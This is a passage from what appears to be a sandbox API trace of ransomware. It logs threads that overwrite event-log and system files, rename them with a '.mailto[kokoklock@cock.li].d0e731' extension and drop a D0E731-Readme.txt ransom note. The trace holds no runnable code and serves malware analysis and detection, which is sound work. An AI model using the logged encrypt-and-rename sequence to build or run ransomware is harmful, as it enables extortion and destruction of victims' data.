out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0xaf2fdf0*=0x4, lpOverlapped=0x0) returned 1 [0064.884] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33efb08) returned 1 [0064.884] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33f00d0) returned 1 [0064.884] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33effb8) returned 1 [0064.884] CloseHandle (hObject=0x778) returned 1 [0066.439] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x6a) returned 0x3479970 [0066.439] wcscpy (in: _Dest=0x3479970, _Source="C:\\Logs\\System.evtx" | out: _Dest="C:\\Logs\\System.evtx") returned="C:\\Logs\\System.evtx" [0066.439] wcscat (in: _Dest=0x3479970, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Logs\\System.evtx.mailto[kokoklock@cock.li].d0e731") returned="C:\\Logs\\System.evtx.mailto[kokoklock@cock.li].d0e731" [0066.440] MoveFileW (lpExistingFileName="C:\\Logs\\System.evtx" (normalized: "c:\\logs\\system.evtx"), lpNewFileName="C:\\Logs\\System.evtx.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\logs\\system.evtx.mailto[kokoklock@cock.li].d0e731")) returned 1 [0066.440] SetFileAttributesW (lpFileName="C:\\Logs\\System.evtx.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0066.440] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479970) returned 1 [0066.440] SetFileAttributesW (lpFileName="C:\\Logs\\System.evtx", dwFileAttributes=0x20) returned 0 [0066.440] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x36) returned 0x34342a8 [0066.440] wcscpy (in: _Dest=0x34342a8, _Source="C:\\Logs\\" | out: _Dest="C:\\Logs\\") returned="C:\\Logs\\" [0066.440] wcscat (in: _Dest=0x34342a8, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Logs\\D0E731-Readme.txt") returned="C:\\Logs\\D0E731-Readme.txt" [0066.440] GetFileAttributesW (lpFileName="C:\\Logs\\D0E731-Readme.txt" (normalized: "c:\\logs\\d0e731-readme.txt")) returned 0x20 [0066.441] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34342a8) returned 1 [0066.441] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fc4c0) returned 1 [0066.441] RtlExitUserThread (Status=0x1) Thread: id = 199 os_tid = 0x1194 [0063.451] GetFileAttributesW (lpFileName="C:\\Logs\\Windows PowerShell.evtx" (normalized: "c:\\logs\\windows powershell.evtx")) returned 0x20 [0063.760] SetFileAttributesW (lpFileName="C:\\Logs\\Windows PowerShell.evtx", dwFileAttributes=0x20) returned 1 [0063.760] CreateFileW (lpFileName="C:\\Logs\\Windows PowerShell.evtx" (normalized: "c:\\logs\\windows powershell.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x778 [0063.760] GetFileSizeEx (in: hFile=0x778, lpFileSize=0xafafb84 | out: lpFileSize=0xafafb84*=69632) returned 1 [0063.761] SetFilePointerEx (in: hFile=0x778, liDistanceToMove=0x10ffc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0063.761] ReadFile (in: hFile=0x778, lpBuffer=0xafafb58, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0xafafb54, lpOverlapped=0x0 | out: lpBuffer=0xafafb58*, lpNumberOfBytesRead=0xafafb54*=0x4, lpOverlapped=0x0) returned 1 [0063.791] SetFilePointerEx (in: hFile=0x778, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0063.791] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x33efd88 [0063.791] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x33efb30 [0063.791] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x33efc20 [0063.791] NtQuerySystemTime (in: CurrentTime=0xafafb30 | out: CurrentTime=0xafafb30*=132121176216918084) returned 0x0 [0063.791] RtlRandom (in: Seed=0xafafb3c | out: Seed=0xafafb3c) returned 0x51f7f151 [0063.791] RtlRandom (in: Seed=0xafafb3c | out: Seed=0xafafb3c) returned 0x793fd532 [0063.791] RtlRandom (in: Seed=0xafafb3c | out: Seed=0xafafb3c) returned 0xdf795ebd [0063.791] RtlRandom (in: Seed=0xafafb3c | out: Seed=0xafafb3c) returned 0x7ae72300 [0063.791] RtlRandom (in: Seed=0xafafb3c | out: Seed=0xafafb3c) returned 0xcecb50fd [0063.791] RtlRandom (in: Seed=0xafafb3c | out: Seed=0xafafb3c) returned 0xcb8d998b [0063.791] RtlRandom (in: Seed=0xafafb3c | out: Seed=0xafafb3c) returned 0x210ed437 [0063.792] RtlRandom (in: Seed=0xafafb3c | out: Seed=0xafafb3c) returned 0x31c66ec [0063.792] RtlRandom (in: Seed=0xafafb3c | out: Seed=0xafafb3c) returned 0xb9b3946b [0063.792] RtlRandom (in: Seed=0xafafb3c | out: Seed=0xafafb3c) returned 0xf7088266 [0063.792] RtlRandom (in: Seed=0xafafb3c | out: Seed=0xafafb3c) returned 0x88155fcd [0063.792] RtlRandom (in: Seed=0xafafb3c | out: Seed=0xafafb3c) returned 0x8a560139 [0063.792] RtlRandom (in: Seed=0xafafb3c | out: Seed=0xafafb3c) returned 0xa0b6abcf [0063.792] RtlRandom (in: Seed=0xafafb3c | out: Seed=0xafafb3c) returned 0xb17f9280 [0063.792] RtlRandom (in: Seed=0xafafb3c | out: Seed=0xafafb3c) returned 0xa0c8ce40 [0063.792] RtlRandom (in: Seed=0xafafb3c | out: Seed=0xafafb3c) returned 0xdf3d89b8 [0063.792] RtlRandom (in: Seed=0xafafb3c | out: Seed=0xafafb3c) returned 0x4ab1edf1 [0063.792] RtlRandom (in: Seed=0xafafb3c | out: Seed=0xafafb3c) returned 0x3c941ea [0063.792] RtlRandom (in: Seed=0xafafb3c | out: Seed=0xafafb3c) returned 0x46c7d88a [0063.792] RtlRandom (in: Seed=0xafafb3c | out: Seed=0xafafb3c) returned 0x296590e7 [0063.792] RtlRandom (in: Seed=0xafafb3c | out: Seed=0xafafb3c) returned 0x847b7762 [0063.792] RtlRandom (in: Seed=0xafafb3c | out: Seed=0xafafb3c) returned 0x27295a15 [0063.792] RtlRandom (in: Seed=0xafafb3c | out: Seed=0xafafb3c) returned 0x2e37f0d [0063.792] RtlRandom (in: Seed=0xafafb3c | out: Seed=0xafafb3c) returned 0xc5e3ca66 [0063.792] RtlRandom (in: Seed=0xafafb3c | out: Seed=0xafafb3c) returned 0x3c2d4398 [0063.792] RtlRandom (in: Seed=0xafafb3c | out: Seed=0xafafb3c) returned 0x8157e7e9 [0063.792] RtlRandom (in: Seed=0xafafb3c | out: Seed=0xafafb3c) returned 0xc19f6790 [0063.792] RtlRandom (in: Seed=0xafafb3c | out: Seed=0xafafb3c) returned 0x3fe75ba5 [0063.792] RtlRandom (in: Seed=0xafafb3c | out: Seed=0xafafb3c) returned 0xc97a3cc [0063.792] RtlRandom (in: Seed=0xafafb3c | out: Seed=0xafafb3c) returned 0xdc3dc1d8 [0063.792] RtlRandom (in: Seed=0xafafb3c | out: Seed=0xafafb3c) returned 0xa657f3de [0063.792] RtlRandom (in: Seed=0xafafb3c | out: Seed=0xafafb3c) returned 0xe3fd8199 [0063.801] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x33efd38 [0063.803] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3479a60 [0063.803] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x33efb58 [0063.803] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479a60) returned 1 [0063.803] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33efd88) returned 1 [0063.803] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x55c8408 [0063.804] SetFilePointerEx (in: hFile=0x778, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0063.804] ReadFile (in: hFile=0x778, lpBuffer=0x55c8408, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0xafafb08, lpOverlapped=0x0 | out: lpBuffer=0x55c8408*, lpNumberOfBytesRead=0xafafb08*=0x4096, lpOverlapped=0x0) returned 1 [0063.806] SetFilePointerEx (in: hFile=0x778, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0063.806] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fce48 [0063.806] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3479b50 [0063.806] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x33efc48 [0063.806] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33efc48) returned 1 [0063.806] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x55cc4a8 [0063.807] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x33efc48 [0063.807] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x33efd88 [0063.807] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33efd88) returned 1 [0063.807] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479b50) returned 1 [0063.807] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fce48) returned 1 [0063.807] WriteFile (in: hFile=0x778, lpBuffer=0x55cc4a8*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0xafafb08, lpOverlapped=0x0 | out: lpBuffer=0x55cc4a8*, lpNumberOfBytesWritten=0xafafb08*=0x4096, lpOverlapped=0x0) returned 1 [0063.808] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55cc4a8) returned 1 [0063.808] SetFilePointerEx (in: hFile=0x778, liDistanceToMove=0x11000, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0063.808] WriteFile (in: hFile=0x778, lpBuffer=0x33efc48*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0xafafb40, lpOverlapped=0x0 | out: lpBuffer=0x33efc48*, lpNumberOfBytesWritten=0xafafb40*=0x20, lpOverlapped=0x0) returned 1 [0063.808] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33efc48) returned 1 [0063.808] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55c8408) returned 1 [0063.808] WriteFile (in: hFile=0x778, lpBuffer=0x33efb58*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0xafafb54, lpOverlapped=0x0 | out: lpBuffer=0x33efb58*, lpNumberOfBytesWritten=0xafafb54*=0x8, lpOverlapped=0x0) returned 1 [0063.808] WriteFile (in: hFile=0x778, lpBuffer=0xafafb6c*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0xafafb54, lpOverlapped=0x0 | out: lpBuffer=0xafafb6c*, lpNumberOfBytesWritten=0xafafb54*=0x4, lpOverlapped=0x0) returned 1 [0063.808] WriteFile (in: hFile=0x778, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0xafafb54, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0xafafb54*=0x4, lpOverlapped=0x0) returned 1 [0063.808] WriteFile (in: hFile=0x778, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0xafafb54, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0xafafb54*=0x6c, lpOverlapped=0x0) returned 1 [0063.808] WriteFile (in: hFile=0x778, lpBuffer=0x33efb30*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0xafafb54, lpOverlapped=0x0 | out: lpBuffer=0x33efb30*, lpNumberOfBytesWritten=0xafafb54*=0x20, lpOverlapped=0x0) returned 1 [0063.808] WriteFile (in: hFile=0x778, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0xafafb54, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0xafafb54*=0x4, lpOverlapped=0x0) returned 1 [0063.808] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33efb30) returned 1 [0063.809] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33efd38) returned 1 [0063.809] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33efb58) returned 1 [0063.809] CloseHandle (hObject=0x778) returned 1 [0063.812] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x82) returned 0x33e2e70 [0063.812] wcscpy (in: _Dest=0x33e2e70, _Source="C:\\Logs\\Windows PowerShell.evtx" | out: _Dest="C:\\Logs\\Windows PowerShell.evtx") returned="C:\\Logs\\Windows PowerShell.evtx" [0063.812] wcscat (in: _Dest=0x33e2e70, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Logs\\Windows PowerShell.evtx.mailto[kokoklock@cock.li].d0e731") returned="C:\\Logs\\Windows PowerShell.evtx.mailto[kokoklock@cock.li].d0e731" [0063.812] MoveFileW (lpExistingFileName="C:\\Logs\\Windows PowerShell.evtx" (normalized: "c:\\logs\\windows powershell.evtx"), lpNewFileName="C:\\Logs\\Windows PowerShell.evtx.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\logs\\windows powershell.evtx.mailto[kokoklock@cock.li].d0e731")) returned 1 [0063.812] SetFileAttributesW (lpFileName="C:\\Logs\\Windows PowerShell.evtx.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0063.812] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33e2e70) returned 1 [0063.812] SetFileAttributesW (lpFileName="C:\\Logs\\Windows PowerShell.evtx", dwFileAttributes=0x20) returned 0 [0063.813] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x36) returned 0x3433e68 [0063.813] wcscpy (in: _Dest=0x3433e68, _Source="C:\\Logs\\" | out: _Dest="C:\\Logs\\") returned="C:\\Logs\\" [0063.813] wcscat (in: _Dest=0x3433e68, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Logs\\D0E731-Readme.txt") returned="C:\\Logs\\D0E731-Readme.txt" [0063.813] GetFileAttributesW (lpFileName="C:\\Logs\\D0E731-Readme.txt" (normalized: "c:\\logs\\d0e731-readme.txt")) returned 0x20 [0063.813] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3433e68) returned 1 [0063.813] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fd280) returned 1 [0063.813] RtlExitUserThread (Status=0x1) Thread: id = 200 os_tid = 0x1198 [0063.452] GetFileAttributesW (lpFileName="C:\\$GetCurrent\\SafeOS\\GetCurrentRollback.ini" (normalized: "c:\\$getcurrent\\safeos\\getcurrentrollback.ini")) returned 0x20 [0063.805] SetFileAttributesW (lpFileName="C:\\$GetCurrent\\SafeOS\\GetCurrentRollback.ini", dwFileAttributes=0x20) returned 1 [0063.805] CreateFileW (lpFileName="C:\\$GetCurrent\\SafeOS\\GetCurrentRollback.ini" (normalized: "c:\\$getcurrent\\safeos\\getcurrentrollback.ini"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x7c0 [0063.809] GetFileSizeEx (in: hFile=0x7c0, lpFileSize=0xb02fa24 | out: lpFileSize=0xb02fa24*=156) returned 1 [0063.809] SetFilePointerEx (in: hFile=0x7c0, liDistanceToMove=0x98, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0063.809] ReadFile (in: hFile=0x7c0, lpBuffer=0xb02f9f8, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0xb02f9f4, lpOverlapped=0x0 | out: lpBuffer=0xb02f9f8*, lpNumberOfBytesRead=0xb02f9f4*=0x4, lpOverlapped=0x0) returned 1 [0063.814] SetFilePointerEx (in: hFile=0x7c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0063.815] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x33efd88 [0063.815] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x33efb30 [0063.815] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x33efc48 [0063.815] NtQuerySystemTime (in: CurrentTime=0xb02f9d0 | out: CurrentTime=0xb02f9d0*=132121176217058729) returned 0x0 [0063.815] RtlRandom (in: Seed=0xb02f9dc | out: Seed=0xb02f9dc) returned 0xed518384 [0063.815] RtlRandom (in: Seed=0xb02f9dc | out: Seed=0xb02f9dc) returned 0x7dc6cb31 [0063.815] RtlRandom (in: Seed=0xb02f9dc | out: Seed=0xb02f9dc) returned 0xc787689b [0063.815] RtlRandom (in: Seed=0xb02f9dc | out: Seed=0xb02f9dc) returned 0xa4b6d992 [0063.815] RtlRandom (in: Seed=0xb02f9dc | out: Seed=0xb02f9dc) returned 0x399c3d01 [0063.815] RtlRandom (in: Seed=0xb02f9dc | out: Seed=0xb02f9dc) returned 0xb9dc206a [0063.815] RtlRandom (in: Seed=0xb02f9dc | out: Seed=0xb02f9dc) returned 0xdde0fea9 [0063.815] RtlRandom (in: Seed=0xb02f9dc | out: Seed=0xb02f9dc) returned 0xce1a05c7 [0063.815] RtlRandom (in: Seed=0xb02f9dc | out: Seed=0xb02f9dc) returned 0xcf61d533 [0063.815] RtlRandom (in: Seed=0xb02f9dc | out: Seed=0xb02f9dc) returned 0xb750ec85 [0063.815] RtlRandom (in: Seed=0xb02f9dc | out: Seed=0xb02f9dc) returned 0xde572277 [0063.815] RtlRandom (in: Seed=0xb02f9dc | out: Seed=0xb02f9dc) returned 0x9cf2628 [0063.815] RtlRandom (in: Seed=0xb02f9dc | out: Seed=0xb02f9dc) returned 0x378e0c18 [0063.815] RtlRandom (in: Seed=0xb02f9dc | out: Seed=0xb02f9dc) returned 0xf8a0a4b2 [0063.815] RtlRandom (in: Seed=0xb02f9dc | out: Seed=0xb02f9dc) returned 0x74d8e22f [0063.815] RtlRandom (in: Seed=0xb02f9dc | out: Seed=0xb02f9dc) returned 0xc192ffc5 [0063.815] RtlRandom (in: Seed=0xb02f9dc | out: Seed=0xb02f9dc) returned 0x191eac61 [0063.815] RtlRandom (in: Seed=0xb02f9dc | out: Seed=0xb02f9dc) returned 0xe2b36ae [0063.815] RtlRandom (in: Seed=0xb02f9dc | out: Seed=0xb02f9dc) returned 0x3a86a3a5 [0063.815] RtlRandom (in: Seed=0xb02f9dc | out: Seed=0xb02f9dc) returned 0xcbae20d0 [0063.815] RtlRandom (in: Seed=0xb02f9dc | out: Seed=0xb02f9dc) returned 0x5e83d4f6 [0063.815] RtlRandom (in: Seed=0xb02f9dc | out: Seed=0xb02f9dc) returned 0xa009cfa9 [0063.815] RtlRandom (in: Seed=0xb02f9dc | out: Seed=0xb02f9dc) returned 0x32381538 [0063.815] RtlRandom (in: Seed=0xb02f9dc | out: Seed=0xb02f9dc) returned 0x757f509a [0063.815] RtlRandom (in: Seed=0xb02f9dc | out: Seed=0xb02f9dc) returned 0xa1fd53c4 [0063.815] RtlRandom (in: Seed=0xb02f9dc | out: Seed=0xb02f9dc) returned 0x7b6c60ac [0063.815] RtlRandom (in: Seed=0xb02f9dc | out: Seed=0xb02f9dc) returned 0x4d8a968d [0063.815] RtlRandom (in: Seed=0xb02f9dc | out: Seed=0xb02f9dc) returned 0x55ccd1e2 [0063.815] RtlRandom (in: Seed=0xb02f9dc | out: Seed=0xb02f9dc) returned 0x6b978cc0 [0063.815] RtlRandom (in: Seed=0xb02f9dc | out: Seed=0xb02f9dc) returned 0x9c877454 [0063.815] RtlRandom (in: Seed=0xb02f9dc | out: Seed=0xb02f9dc) returned 0x852937a3 [0063.815] RtlRandom (in: Seed=0xb02f9dc | out: Seed=0xb02f9dc) returned 0xb261504c [0063.825] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x33efd38 [0063.826] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3479a60 [0063.826] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x33efb58 [0063.826] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479a60) returned 1 [0063.827] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33efd88) returned 1 [0063.827] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fce48 [0063.827] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3479b50 [0063.827] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x33efd88 [0063.827] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33efd88) returned 1 [0063.827] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x55c8408 [0063.827] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x55cc4a8 [0063.827] ReadFile (in: hFile=0x7c0, lpBuffer=0x55c8408, nNumberOfBytesToRead=0x9c, lpNumberOfBytesRead=0xb02f9d0, lpOverlapped=0x0 | out: lpBuffer=0x55c8408*, lpNumberOfBytesRead=0xb02f9d0*=0x9c, lpOverlapped=0x0) returned 1 [0063.827] SetFilePointerEx (in: hFile=0x7c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0xb02f998 | out: lpNewFilePointer=0x0) returned 1 [0063.827] WriteFile (in: hFile=0x7c0, lpBuffer=0x55cc4a8*, nNumberOfBytesToWrite=0x9c, lpNumberOfBytesWritten=0xb02f9cc, lpOverlapped=0x0 | out: lpBuffer=0x55cc4a8*, lpNumberOfBytesWritten=0xb02f9cc*=0x9c, lpOverlapped=0x0) returned 1 [0063.827] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x33efd88 [0063.827] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x33efdb0 [0063.827] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33efdb0) returned 1 [0063.827] WriteFile (in: hFile=0x7c0, lpBuffer=0x33efd88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0xb02f9c8, lpOverlapped=0x0 | out: lpBuffer=0x33efd88*, lpNumberOfBytesWritten=0xb02f9c8*=0x20, lpOverlapped=0x0) returned 1 [0063.827] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33efd88) returned 1 [0063.827] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55cc4a8) returned 1 [0063.827] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55c8408) returned 1 [0063.827] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479b50) returned 1 [0063.827] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fce48) returned 1 [0063.827] WriteFile (in: hFile=0x7c0, lpBuffer=0x33efb58*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0xb02f9f4, lpOverlapped=0x0 | out: lpBuffer=0x33efb58*, lpNumberOfBytesWritten=0xb02f9f4*=0x8, lpOverlapped=0x0) returned 1 [0063.828] WriteFile (in: hFile=0x7c0, lpBuffer=0xb02fa0c*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0xb02f9f4, lpOverlapped=0x0 | out: lpBuffer=0xb02fa0c*, lpNumberOfBytesWritten=0xb02f9f4*=0x4, lpOverlapped=0x0) returned 1 [0063.828] WriteFile (in: hFile=0x7c0, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0xb02f9f4, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0xb02f9f4*=0x4, lpOverlapped=0x0) returned 1 [0063.828] WriteFile (in: hFile=0x7c0, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0xb02f9f4, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0xb02f9f4*=0x6c, lpOverlapped=0x0) returned 1 [0063.828] WriteFile (in: hFile=0x7c0, lpBuffer=0x33efb30*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0xb02f9f4, lpOverlapped=0x0 | out: lpBuffer=0x33efb30*, lpNumberOfBytesWritten=0xb02f9f4*=0x20, lpOverlapped=0x0) returned 1 [0063.828] WriteFile (in: hFile=0x7c0, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0xb02f9f4, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0xb02f9f4*=0x4, lpOverlapped=0x0) returned 1 [0063.828] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33efb30) returned 1 [0063.828] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33efd38) returned 1 [0063.828] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33efb58) returned 1 [0063.828] CloseHandle (hObject=0x7c0) returned 1 [0063.829] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x9c) returned 0x33e6a68 [0063.829] wcscpy (in: _Dest=0x33e6a68, _Source="C:\\$GetCurrent\\SafeOS\\GetCurrentRollback.ini" | out: _Dest="C:\\$GetCurrent\\SafeOS\\GetCurrentRollback.ini") returned="C:\\$GetCurrent\\SafeOS\\GetCurrentRollback.ini" [0063.829] wcscat (in: _Dest=0x33e6a68, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\$GetCurrent\\SafeOS\\GetCurrentRollback.ini.mailto[kokoklock@cock.li].d0e731") returned="C:\\$GetCurrent\\SafeOS\\GetCurrentRollback.ini.mailto[kokoklock@cock.li].d0e731" [0063.829] MoveFileW (lpExistingFileName="C:\\$GetCurrent\\SafeOS\\GetCurrentRollback.ini" (normalized: "c:\\$getcurrent\\safeos\\getcurrentrollback.ini"), lpNewFileName="C:\\$GetCurrent\\SafeOS\\GetCurrentRollback.ini.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\$getcurrent\\safeos\\getcurrentrollback.ini.mailto[kokoklock@cock.li].d0e731")) returned 1 [0063.830] SetFileAttributesW (lpFileName="C:\\$GetCurrent\\SafeOS\\GetCurrentRollback.ini.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0063.830] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33e6a68) returned 1 [0063.830] SetFileAttributesW (lpFileName="C:\\$GetCurrent\\SafeOS\\GetCurrentRollback.ini", dwFileAttributes=0x20) returned 0 [0063.830] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x52) returned 0x3481af8 [0063.830] wcscpy (in: _Dest=0x3481af8, _Source="C:\\$GetCurrent\\SafeOS\\" | out: _Dest="C:\\$GetCurrent\\SafeOS\\") returned="C:\\$GetCurrent\\SafeOS\\" [0063.830] wcscat (in: _Dest=0x3481af8, _Source="D0E731-Readme.txt" | out: _Dest="C:\\$GetCurrent\\SafeOS\\D0E731-Readme.txt") returned="C:\\$GetCurrent\\SafeOS\\D0E731-Readme.txt" [0063.830] GetFileAttributesW (lpFileName="C:\\$GetCurrent\\SafeOS\\D0E731-Readme.txt" (normalized: "c:\\$getcurrent\\safeos\\d0e731-readme.txt")) returned 0xffffffff [0063.830] CreateFileW (lpFileName="C:\\$GetCurrent\\SafeOS\\D0E731-Readme.txt" (normalized: "c:\\$getcurrent\\safeos\\d0e731-readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x7c0 [0063.831] WriteFile (in: hFile=0x7c0, lpBuffer=0x33e3ba8*, nNumberOfBytesToWrite=0x481, lpNumberOfBytesWritten=0xb02f9f0, lpOverlapped=0x0 | out: lpBuffer=0x33e3ba8*, lpNumberOfBytesWritten=0xb02f9f0*=0x481, lpOverlapped=0x0) returned 1 [0063.831] CloseHandle (hObject=0x7c0) returned 